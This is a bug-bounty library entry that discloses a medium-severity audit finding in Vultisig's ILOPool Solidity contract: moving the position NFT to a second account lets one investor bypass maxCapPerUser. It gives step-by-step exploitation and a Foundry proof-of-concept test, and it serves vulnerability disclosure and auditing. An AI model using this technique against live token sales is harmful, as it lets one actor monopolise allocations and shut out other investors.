# Transfer of ILOPool NFT token to different account allows for users to bypass the pool's maxCapPerUser invariant

ILOPool.buy() keys position on balanceOf(recipient)==0, so transferring the position NFT to a second account lets one investor open multiple positions and exceed maxCapPerUser.

- Payout: Audit contest
- Severity: medium
- Program: Vultisig
- Found by: 0xb0k0
- Disclosed: 2024-08-05
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-06-vultisig-findings/issues/58
- Library page: https://bugbountylibrary.com/r/c4%3A2024-06-vultisig%3AM-03
- Tags: area:web3 domain:web3 impact:integrity kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** ILOPool.sol buy() / ERC721 position NFT
**Root cause:** buy() decides whether to mint a new position by checking balanceOf(recipient)==0 and enforces maxCapPerUser only against the single position's raiseAmount, not the investor's aggregate contribution.
**Steps:**
1. Alice calls `buy()` with raiseAmount == maxCapPerUser; gets tokenIdAlice, balanceOf(alice)==1.
2. Alice transfers tokenIdAlice to aliceSecondAccount via `ERC721(iloPool).transferFrom(alice, aliceSecondAccount, tokenIdAlice)`; balanceOf(alice)==0.
3. Alice calls `buy()` again; balanceOf(alice)==0 so a new NFT is minted and the maxCapPerUser check applies only to the fresh position.
4. Repeat to reach hardCap, blocking other investors (bob's buy reverts with `HC`).
5. After launch/vest, transfer the first NFT back and `claim()` both tokenIds; Alice's total sale-token balance exceeds maxCapPerUser.
**How found:** Code reading of buy(): noticed position lookup uses balanceOf(recipient)==0 as the 'has position' signal, making the cap per-NFT rather than per-investor; confirmed with a Foundry test transferring the NFT between accounts.
**Exploitation:** Investor buys up to maxCapPerUser, moves the position NFT to a second address, buys again to mint a new position, repeating until hardCap is filled; later consolidates NFTs and claims all vesting, monopolizing the sale.
**Escalation:** Chained with whitelist assumption: even whitelisted users can collude/transfer NFTs to bypass per-user cap; also denies other investors participation by filling hardCap.
**Insight:** When a per-user cap is enforced against a position object rather than an identity, check whether the position token is transferable or whether identity is derived from a mutable balance (balanceOf==0) — both let one actor hold many capped positions.

## Proof of concept (copied exactly from the original report)

**Foundry test bypassing maxCapPerUser via NFT transfer**

```
function testBypassUserCap() external {
        address alice = makeAddr("alice");
        address aliceSecondAccount = makeAddr("aliceSecondAccount");
        address bob = makeAddr("bob");

        _prepareBuyFor(alice);
        _prepareBuyFor(bob);

        console.log("Pool hard cap: ", IILOPool(iloPool).getSaleInfo().hardCap / 1e18);
        console.log("Pool max cap per user: ", IILOPool(iloPool).getSaleInfo().maxCapPerUser / 1e18);

        uint256 maxUserAmount = IILOPool(iloPool).getSaleInfo().maxCapPerUser;
        (uint256 tokenIdAlice, uint128 liquidityAlice) = _buyFor(alice, SALE_START + 1, maxUserAmount); // User buys the max cap

        console.log("Total raised after first buy from Alice:", IILOPool(iloPool).getTotalRaised() / 1e18);
        assertEq(IILOPool(iloPool).balanceOf(alice), 1);

        vm.prank(alice);
        ERC721(iloPool).transferFrom(alice, aliceSecondAccount, tokenIdAlice);

        assertEq(IILOPool(iloPool).balanceOf(alice), 0);
        assertEq(IILOPool(iloPool).balanceOf(aliceSecondAccount), 1);

        (uint256 tokenIdAliceSecond, uint128 liquidityAliceSecond) = _buyFor(alice, SALE_START + 1, 30000 ether); // User buys more than the max cap

        console.log("Total raised after second buy from Alice:", IILOPool(iloPool).getTotalRaised() / 1e18);
        assertEq(IILOPool(iloPool).balanceOf(alice), 1);

        vm.expectRevert(bytes("HC"));
        (uint256 tokenIdBob, uint128 liquidityBob) = _buyFor(bob, SALE_START + 1, 20000 ether); // A new investor wants to buy a position, but reverts

        assertEq(IILOPool(iloPool).balanceOf(bob), 0);

        _writeTokenBalance(SALE_TOKEN, iloPool, 95000 * 4 ether);
        vm.warp(SALE_END + 1);

        vm.prank(address(iloManager));
        IILOPool(iloPool).launch();

        vm.warp(VEST_END_1);

        vm.startPrank(aliceSecondAccount);
        ERC721(iloPool).transferFrom(aliceSecondAccount, alice, tokenIdAlice); // Alice gets her first token back
        vm.stopPrank();

        assertEq(IILOPool(iloPool).balanceOf(alice), 2);

        vm.startPrank(alice);
        IILOPool(iloPool).claim(tokenIdAlice);
        IILOPool(iloPool).claim(tokenIdAliceSecond);
        vm.stopPrank();

        assertGt(IERC20(SALE_TOKEN).balanceOf(alice), maxUserAmount);
    }
```

